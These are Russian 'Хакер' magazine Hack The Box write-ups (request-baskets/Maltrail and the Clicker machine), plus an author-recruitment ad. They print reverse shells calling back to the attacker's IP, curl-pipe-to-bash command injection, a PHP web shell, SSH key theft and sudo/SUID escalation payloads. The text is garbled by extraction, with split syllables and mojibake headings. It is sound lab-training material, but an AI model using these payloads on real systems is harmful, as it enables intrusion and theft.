Пов торим запуск экс пло ита, но теперь через  поп робу ем
эксфиль тро вать содер жимое сай та на 80-м пор те.

proxychains

python3 CVE-2023-27163.py -v http://10.10.11.224:55555/web -t http://
10.10.11.224 

За пуск экс пло ита

В выводе ничего инте рес ного, поэто му перехо дим к , где

зафик сирова ны три зап роса.

Burp History

Burp History

Пе ресы лаем все зап росы в  и раз бира емся, как работа ет
экс пло ит. Пер вый зап рос соз дает кор зину, в ответ мы получа ем токен дос- 
тупа.

Burp Repeater

Зап рос к /api/baskets/

Во вто ром зап росе экс пло ит обра щает ся к соз данной кор зине, при этом
переда ет получен ный на пре дыду щем шаге токен.

Зап рос к кор зине

Сер вер дол жен был вер нуть содер жимое по адре су, который был передан
в парамет ре  на пер вом шаге. Но мы ничего не получа ем. Тог да

я вер нулся к пер вому шагу и изме нил зна чение .

forward_url
proxy_response

POST /api/baskets/req2 HTTP/1.1 
Host: 10.10.11.224:55555 
User-Agent: python-requests/2.28.2 
Accept-Encoding: gzip, deflate 
Accept: */* 
Connection: close 
Content-Length: 124 
Content-Type: application/json 

{"forward_url": "http://127.0.0.1:80/", "proxy_response": true, 
"insecure_tls": false, "expand_path": true, "capacity": 250} 

Зап рос к /api/baskets/

При обра щении к соз данной кор зине мы получим какую-то стра ницу
без JavaScript и сти лей.

GET /req2 HTTP/1.1 
Host: 10.10.11.224:55555 
User-Agent: python-requests/2.28.2 
Accept-Encoding: gzip, deflate 
Accept: */* 
Connection: close 
Authorization: Pq3N2qRrZPceRoR5VPspbx4htkKPBgjEBvTNOA_8qbl9 

Зап рос к кор зине

Но поле Powered by сно ва спа сает: перед нами прог рамма Maltrail 0.53. Наш- 
ли новую тех нологию — сра зу гуг лим уяз вимос ти.

По иск уяз вимос тей в Google

Èíúåêöèÿ êîìàíä ÎÑ
По пер вой  нас встре чает опи сание уяз вимос ти и даже при мер ее экс- 
плу ата ции.

ссыл ке

Опи сание уяз вимос ти

Мы можем выпол нить инъ екцию коман ды ОС через параметр 
на стра нице . Вер немся к нашей уяз вимос ти SSRF и зас тавим сер вис

обра тить ся к стра нице .

username
/login

/login

Зап рос на соз дание кор зины

От кры ваем локаль ный веб-сер вер  и про буем обра тить ся к стра нице

 с уда лен ного сер вера с помощью curl. Для это го обра щаем ся

к соз данной кор зине и переда ем параметр  с внед ренной коман дой

.

python3
/test_rce

username
curl

POST /req3 HTTP/1.1 
Host: 10.10.11.224:55555 
User-Agent: python-requests/2.28.2 
Accept-Encoding: gzip, deflate 
Accept: */* 
Connection: close 
Authorization: CzLJ9JnwRC2n8w7KrVtapzOJIh7eeCg9T_T68CW8_Lk2 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 44 

username=;`curl http://10.10.14.48/test_rce` 

Зап рос к кор зине

Ло ги веб-сер вера

В логах веб-сер вера видим тес товый зап рос. Теперь запус тим лис тенер:

pwncat-cs -lp 4321 

За писы ваем в файл  реверс-шелл:rs

sh  -i >& /dev/tcp/10.10.14.48/4321 0>&1 

И выпол няем зап рос к это му фай лу с переда чей вывода в  для получе ния
уда лен ной сес сии.

bash

POST /req3 HTTP/1.1 
Host: 10.10.11.224:55555 
User-Agent: python-requests/2.28.2 
Accept-Encoding: gzip, deflate 
Accept: */* 
Connection: close 
Authorization: CzLJ9JnwRC2n8w7KrVtapzOJIh7eeCg9T_T68CW8_Lk2 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 44 

username=;`curl http://10.10.14.48/rs |bash` 

Сес сия поль зовате ля www-data

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам нуж но соб рать информа цию. Я тра дици онно буду исполь зовать
для это го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, ана лизи руем ее и ищем
зна чимые момен ты.

В нас трой ках sudoers есть запись, сог ласно которой мы можем выпол нить
коман ду  от име ни поль зовате- 

ля  без вво да пароля.

/usr/bin/systemctl status trail.service
root

Нас трой ки sudoers

В спис ке фай лов, добав ленных поль зовате лем, есть файл все той же служ бы
./etc/systemd/system/trail.service

До бав ленные поль зовате лем фай лы

Я про верил, нет ли в  GTFOBins записи о systemctl.ба зе

Справка: GTFOBins
 — это под борка спо собов зло упот ребле ния фун кци ями рас- 

простра нен ных прог рамм для Unix. Исполь зуя соб ранные здесь рецеп ты,
мож но быс тро получить дос туп к коман дным обо лоч кам, повысить при виле- 
гии или передать фай лы при помощи легитим ных при ложе ний.

GTFOBins

Спо собы экс плу ата ции коман ды systemctl

Ин тересен пос ледний вари ант, учи тыва ющий осо бен ности вывода в , так

как он поз волит перей ти к выпол нению команд ана логич но Vim. Я уже имел
дело с подоб ной ситу ацией, поэто му знал спо соб экс плу ата ции. Как толь ко
запус тится , вво дим коман ду  для получе ния сес сии в при виле гиро- 

ван ном режиме.

less

pager !sh

script /dev/null /bin/bash 
sudo /usr/bin/systemctl status trail.service 
sh !

Флаг рута

И машина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/darklynx/request-baskets
https://github.com/entr0pie/CVE-2023-27163
https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/
https://github.com/carlospolop/PEASS-ng
https://gtfobins.github.io/gtfobins/systemctl/
https://gtfobins.github.io/
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ВЗЛОМ

В этом рай тапе я покажу, как исполь зовать
уяз вимость в Perl, что бы про вес ти инъ- 
екцию команд и повысить при виле гии
на ата куемой машине. Но сна чала мы
устро им ата ку на сайт, получим RCE
и деком пилиру ем поль зователь ское при- 
ложе ние.

На ша цель — зах ват рута на машине Clicker с пло щад ки . Уро- 
вень ее слож ности — сред ний.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.232   clicker.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел нес коль ко откры тых пор тов, сре ди них отме тим:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Apache 2.4.52;•
2049 — служ ба NFS.•

Ос таль ные пор ты не пред став ляют инте реса.

ÒÎ×ÊÀ ÂÕÎÄÀ

Пер вым делом под клю чим ся к хра нили щу NFS и пос мотрим, что там.

showmount -e clicker.htb 

Дос тупные раз делы NFS

Нам дос тупен раз дел с бэкапа ми. При мон тиру ем его и пос мотрим содер- 
жимое.

sudo mount -t nfs clicker.htb:/mnt/backups /mnt/ 

Со дер жимое раз дела

Там все го один архив, копиру ем его на нашу машину и демон тиру ем раз дел.

sudo umount /mnt 

Со дер жимое архи ва

Ар хив содер жит исходные коды сай та, что облегчит поиск уяз вимос тей.

Глав ная стра ница сай та

Продолжение статьи →
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ÒÎ×ÊÀ ÎÏÎÐÛ

Ïîâûøåíèå ïðèâèëåãèé íà ñàéòå
Спер ва по поряд ку прос матри ваем все фай лы и в каж дом отме чаем инте рес- 
ные дан ные и потен циаль ные уяз вимос ти. К при меру, в  лежат

фун кции для заг рузки и сох ранения про филя (стро ки 44–66). В обе их фун кци- 
ях исполь зует ся зап рос к базе дан ных, в пер вом слу чае для получе ния дан- 
ных, во вто ром — для изме нения сущес тву ющей записи.

db_utils.php

Со дер жимое фай ла db_utils.php

Из фай ла  узна ём о сущес тво вании токена дос тупа (стро- 

ки 2–7), а так же получа ем информа цию для под клю чения к базе дан ных (стро- 
ки 27–38).

diagnostic.php

Со дер жимое фай ла diagnostic.php

В фай ле  про веря ется роль поль зовате ля (стро ки 5–8), таким

обра зом, сущес тву ют юзе ры с раз ными при виле гиями. Затем дан ные извле- 
кают ся из парамет ров и сох раня ются в файл, рас ширение которо го тоже
получе но из парамет ра. Это явный путь к RCE, так как мы можем сох ранить
файл с кодом на PHP.

export.php

Со дер жимое фай ла export.php

Еще инте рес нее код в фай ле . В стро ке 7 уста нав лива ются
все передан ные в зап росе парамет ры. Толь ко при сутс тву ет филь тр
на параметр .

save_game.php

role

Со дер жимое фай ла save_game.php

Это очень инте рес ный код, так как, если получит ся обой ти филь тр, мы под- 
нимем роль сво его поль зовате ля до адми нис тра тора. Перей дем на стра ницу

, пок лика ем по кноп ке и сох раним резуль тат. Затем отпра вим зап- 

рос в Burp Repeater и добавим параметр . В ответ получим ожи даемую
ошиб ку.

play.php
role

Стра ница play.php

Зап рос в Burp Repeater

Так как получен ные парамет ры будут исполь зованы в SQL-зап росе на изме- 
нение дан ных, обход филь тра зак люча ется в таком спо собе переда чи стро ки

, что бы она обош ла про вер ку , но была валид ной

в SQL-зап росе. К при меру, мож но исполь зовать сим волы ком мента риев SQL
 или исполь зовать URL-кодиро вание.

role=Admin strtolower

/**/

Ко диро вание URL в Burp Decoder

Зап рос на сер вер

Ко ман да успешно выпол нена, но в акка унте поль зовате ля никаких изме нений
не вид но. Проб лему уда лось решить бла года ря обыч ному сим волу ком мента- 
рия SQL  ( ).# %23

Зап рос на сер вер

За ново авто ризу емся на стра нице и видим, что теперь у нас есть дос туп
к админ ской панели.

Глав ная стра ница сай та

Ïîëó÷åíèå RCE
Вер немся к най ден ной ранее воз можнос ти экспор та дан ных в файл.

Па нель адми нис тра тора

Но на панели адми нис тра тора ничего не находим. В исходном коде стра ницы
 видим отправ ку дан ных на стра ницу .admin.php export.php

Со дер жимое фай ла admin.php

Я прос то перешел на стра ницу , и меня переб росило обратно

на стра ницу . В этот раз на стра нице при сутс тву ют все дан ные.

Прос то экспор тиру ем в файл JSON.

export.php
admin.php

Па нель адми нис тра тора

Со дер жимое фай ла JSON

Так же взгля нем на зап рос в Burp Proxy. Там, как и ожи далось, переда ется
рас ширение фай ла для экспор та.

Зап рос в Burp Proxy

От пра вим зап рос в Burp Repeater и изме ним рас ширение на . В отве те

получа ем путь к PHP-фай лу, который не будет заб локиро ван на сер вере.

.php

Отоб ражение стра ницы PHP

Те перь перей дем к коду . В фай ле записы вают ся зна чения

парамет ров ,  и .

export.php
nickname clicks level

Со дер жимое фай ла export.php

Как уста нав ливать зна чения нуж ных нам перемен ных, уже зна ем, поэто му
ана логич но роли поль зовате ля записы ваем в перемен ную  самый

прос той PHP-шелл:

nickname

<?php system($_GET['c']); ?> 

Ко диро вание шел ла

За пись перемен ной nickname

Те перь экспор тиру ем дан ные в файл .php, затем перехо дим к шел лу
и отправ ляем коман ду .id

Сох ранение фай ла

Ре зуль тат выпол нения коман ды id

Ко ман да выпол нена, а зна чит, мож но получить пол ноцен ный реверс-шелл.
За пус каем лис тенер:

pwncat-cs -lp 4321 

А теперь отпра вим вот такой реверс-шелл на Python:

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.26",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import 
pty; pty.spawn("bash")'

Сес сия поль зовате ля

Продолжение статьи →
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ÏÐÎÄÂÈÆÅÍÈÅ

Мы залоги нились как поль зователь, и теперь нуж но понять, как повышать
при виле гии в сис теме. Для это го полез но соб рать всю дос тупную информа- 
цию. Я обыч но исполь зую для это го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Вы бира ем из резуль татов самое важ ное.
На хос те прос лушива ется мно го пор тов, воз можно, есть дос тупные

локаль но сай ты и служ бы.

Спи сок прос лушива емых пор тов

У фай ла  уста нов лен S-бит, а его вла делец — поль зователь

jack.

execute_query

Фай лы с уста нов ленным SUID

В катало ге  лежит поль зователь ский скрипт ./opt monitor.sh

Со дер жимое катало га opt

В этом скрип те никаких учет ных дан ных нет, одна ко есть отме на перемен ных
окру жения  и , с которы ми свя зана одна уяз вимость про- 
изволь ного выпол нения кода в кон тек сте при ложе ния.

PERL5LIB PERLLIB

Со дер жимое скрип та monitor.sh

Пе рей дем к при ложе нию с уста нов ленным битом SUID. Ког да у фай ла есть
атри бут SUID, обыч ный поль зователь может запус тить его и получить пра ва
поль зовате ля — вла дель ца фай ла в рам ках запущен ного про цес са. В нашем
слу чае это поль зователь . Так же к фай лу при лага ется README.jack

Опи сание при ложе ния

Это при ложе ние нуж но для работы с базой дан ных и пред лага ет четыре
опции. Что бы разоб рать ся в его работе, я исполь зовал деком пилятор Hex-
Rays в IDA Pro.

При ложе ние при нима ет на вход два парамет ра. Пер вый будет обра ботан
как номер опции (стро ки 14–21), а вто рой встав лен в коман ду MySQL, которая
выпол няет ся через фун кцию  (стро ки 36–42).system

Де ком пилиро ван ный код фун кции main

Так как инс трук ция  не деком пилиро валась, перехо дим

в гра фовое пред став ление и видим ана лог опе рато ра , выбира ющий

вет ку кода в зависи мос ти от ука зан ной опции.

__asm { jmp rax }
case

Ди зас сем бли рован ный код фун кции main

Од нако отсутс тву ет обра бот ка исклю чения, которое про изой дет, если ука зан- 
ная опция будет боль ше 4. В таком слу чае передан ная во вто ром парамет ре
стро ка добав ляет ся к пути , и, если ито говый файл дос- 

тупен для чте ния, он переда ется в коман ду . Таким обра зом будет обес- 
печен вывод фай ла в тер минал.

/home/jack/queries/
mysql

Про верим пред положе ние и про чита ем файл , не забыва ем

добавить пос ледова тель нос ти  для обхо да катало га.

/etc/passwd
../

./execute_query 5 ../../../etc/passwd 

Со дер жимое фай ла /etc/passwd

По луча ем содер жимое фай ла и про буем про читать при ват ный ключ SSH.

./execute_query 5 ../.ssh/id_rsa 

Со дер жимое фай ла id_rsa

Сох раня ем ключ и под клю чаем ся по SSH как поль зователь jack.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Од но из пер вых мест, которые нуж но про верить при повыше нии при виле- 
гий, — это файл sudoers. Получить его мож но коман дой .sudo -l

Нас трой ки sudoers

Уз наём, что наш поль зователь может выпол нить скрипт 
с пре дус танов ленны ми перемен ными окру жения от име ни поль зовате ля

. Мы уже видели этот скрипт, поэто му сра зу перехо дим к выпол нению

кода бла года ря перемен ным окру жения. Все эти уяз вимос ти отлично опи- 
саны  в бло ге Elttam.

/opt/monitor.sh

root

в статье

PoC для уяз вимос ти

В нашем слу чае при исполь зовании язы ка Perl перемен ная сре ды 

поз воля ет задать параметр коман дной стро ки, ука зыва ющий на допол нитель- 
ный модуль. При этом параметр  поз воля ет добав лять код на Perl пос ле

име ни модуля. Таким обра зом мож но выпол нить коман ду  с помощью сле- 

дующей конс трук ции.

PERL5OPT

-M
id

sudo PERL5OPT='-Mbase;print(`id`)' /opt/monitor.sh 

Про вер ка уяз вимос ти

Ко ман да выпол нена, а зна чит, мы можем получить и при виле гиро ван ный
шелл. Для это го напишем скрипт, уста нав лива ющий S-бит фай лу коман дной
обо лоч ки ./bin/bash

  echo 'chmod u+s /bin/bash' > /dev/shm/lpe.sh 
chmod +x /dev/shm/lpe.sh 

sudo PERL5OPT='-Mbase;print(`/dev/shm/lpe.sh`)' /opt/monitor.sh 

Про вер ка раз решений /bin/bash

SUID при сутс тву ет, а зна чит, можем получить шелл в кон тек сте поль зовате ля
root.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://www.elttam.com/blog/env/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
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